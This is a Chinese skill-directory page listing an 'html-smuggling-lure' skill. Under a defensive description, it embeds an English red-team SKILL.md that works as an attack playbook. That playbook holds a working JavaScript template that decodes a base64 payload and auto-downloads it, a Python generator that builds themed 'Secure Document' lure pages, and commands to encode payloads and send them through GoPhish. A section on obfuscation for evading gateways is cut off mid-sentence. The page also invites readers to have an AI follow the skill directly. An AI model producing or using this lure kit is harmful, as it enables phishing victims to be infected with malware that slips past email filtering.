跳到正文
Skillpedia
安全6.5k · #14117

html-smuggling-lure

它能做什么

这份指南说明恶意文件如何隐藏在 HTML 附件中,并由浏览器重新组装。适合希望检测和拦截这一模式的邮件和网页安全团队。

适用场景

  • ✓当邮件网关或网页代理需要为通过脚本构建下载的 HTML 文件设置规则时。
  • ✓当授权测试需要检查 HTML 附件是否得到了正确检查时。
  • ✓当安全团队正在审查员工如何可能被诱导下载伪装文件时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们的邮件和网页过滤器能否拦截在浏览器中重新组装文件的 HTML 附件?请帮我检查这些控制措施?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体审查 HTML 附件的检查方式,查找创建下载的脚本,并报告检测会在哪些地方失效。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

HTML Smuggling Lure

HTML smuggling abuses the browser's ability to construct files from JavaScript — a base64-encoded payload is embedded directly in an HTML email attachment or link. When opened, JavaScript decodes the blob, creates an <a> element with a blob: URL, and triggers a download. The payload never transits the wire as a detectable file type, so email gateways and web proxies that inspect MIME types see only text/html.

Nobelium (SolarWinds), Qakbot, and IcedID campaigns have used this technique extensively since 2021.

Prerequisites

  • A compiled payload (ISO, ZIP, MSI, IMG, or VHD) ready for delivery.
  • GoPhish or direct SMTP for delivery (gophish-campaign).
  • The lure-deconfliction handshake COMPLETE.

Quick Reference

# Encode payload to base64
base64 -w0 /workspace/payload.iso > /workspace/payload.b64

# Generate the HTML smuggling page
python3 /workspace/gen_smuggle.py \
  --payload /workspace/payload.b64 \
  --filename "Report.iso" \
  --mimetype "application/octet-stream" \
  --output /workspace/smuggle.html

# Deliver via GoPhish as an attachment
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
  -H 'Content-Type: application/json' \
  "$GOPHISH_API/templates/" -d @/workspace/smuggle_template.json

MITRE ATT&CK Mapping

Technique ID Usage
Obfuscated Files: HTML Smuggling T1027.006 Payload reconstructed client-side from JS blob
Phishing: Spearphishing Attachment T1566.001 HTML file delivered as email attachment
User Execution: Malicious File T1204.002 Victim opens HTML, browser downloads payload

1. Basic HTML Smuggling Template

Minimal self-contained HTML that decodes a base64 payload and triggers download:

<!DOCTYPE html>
<html>
<head><title>Secure Document</title></head>
<body>
<p>Your document is downloading...</p>
<script>
// Base64 payload — replace with actual encoded content
var b64 = "<BASE64_PAYLOAD>";
var fname = "<FILENAME>";    // e.g. "Report.iso"
var mtype = "application/octet-stream";

var bytes = atob(b64);
var arr = new Uint8Array(bytes.length);
for (var i = 0; i < bytes.length; i++) arr[i] = bytes.charCodeAt(i);

var blob = new Blob([arr], {type: mtype});
var a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = fname;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(a.href);
</script>
</body>
</html>

2. Generator Script

Automate HTML smuggling page creation with theming:

import base64
import sys

TEMPLATE = '''<!DOCTYPE html>
<html>
<head>
<title>{title}</title>
<style>
body {{ font-family: Segoe UI, sans-serif; display: flex;
  justify-content: center; align-items: center; height: 100vh;
  background: #f5f5f5; }}
.card {{ background: #fff; padding: 40px; border-radius: 4px;
  box-shadow: 0 2px 8px rgba(0,0,0,.15); text-align: center; }}
.spinner {{ border: 4px solid #eee; border-top: 4px solid #0078d4;
  border-radius: 50%; width: 40px; height: 40px;
  animation: spin 1s linear infinite; margin: 20px auto; }}
@keyframes spin {{ to {{ transform: rotate(360deg); }} }}
</style>
</head>
<body>
<div class="card">
  <h2>Opening Secure Document</h2>
  <div class="spinner"></div>
  <p>If the download does not start, <a id="dl" href="#">click here</a>.</p>
</div>
<script>
(function() {{
  var d = "{b64data}";
  var n = "{filename}";
  var b = atob(d);
  var u = new Uint8Array(b.length);
  for (var i = 0; i < b.length; i++) u[i] = b.charCodeAt(i);
  var bl = new Blob([u], {{type: "application/octet-stream"}});
  var url = URL.createObjectURL(bl);
  var a = document.getElementById("dl");
  a.href = url; a.download = n;
  var t = document.createElement("a");
  t.href = url; t.download = n;
  document.body.appendChild(t); t.click();
  document.body.removeChild(t);
}})();
</script>
</body>
</html>'''

def generate(payload_path, filename, title, output):
    with open(payload_path, "rb") as f:
        b64 = base64.b64encode(f.read()).decode()
    html = TEMPLATE.format(
        title=title, b64data=b64,
        filename=filename)
    with open(output, "w") as f:
        f.write(html)
    print(f"[+] Smuggle page written to {output} ({len(b64)} bytes encoded)")

# Usage: generate("/workspace/payload.iso", "Report.iso",
#                 "Secure Document Portal", "/workspace/smuggle.html")

3. Obfuscation Layers

Basic base64 is trivially detected by static analysis. Layer obfuscation to evade email gat

常见问题

为什么它难以检测?

该指南指出,文件从未以普通的文件类型传输,因此只检查文件类型的网关只会看到一个普通网页。

哪些团体使用过它?

该指南指出,自 2021 年以来,已有多个已知的攻击活动使用了这种技术。

防御措施是什么?

检查由脚本构建的下载,并拦截会创建文件下载的 HTML 附件。

详情

作者的原始描述

HTML smuggling payloads for initial access — embed base64-encoded binaries inside an HTML attachment that reconstructs and auto-downloads the file client-side via JavaScript Blob, bypassing email gateway and proxy file-type inspection.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14117
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能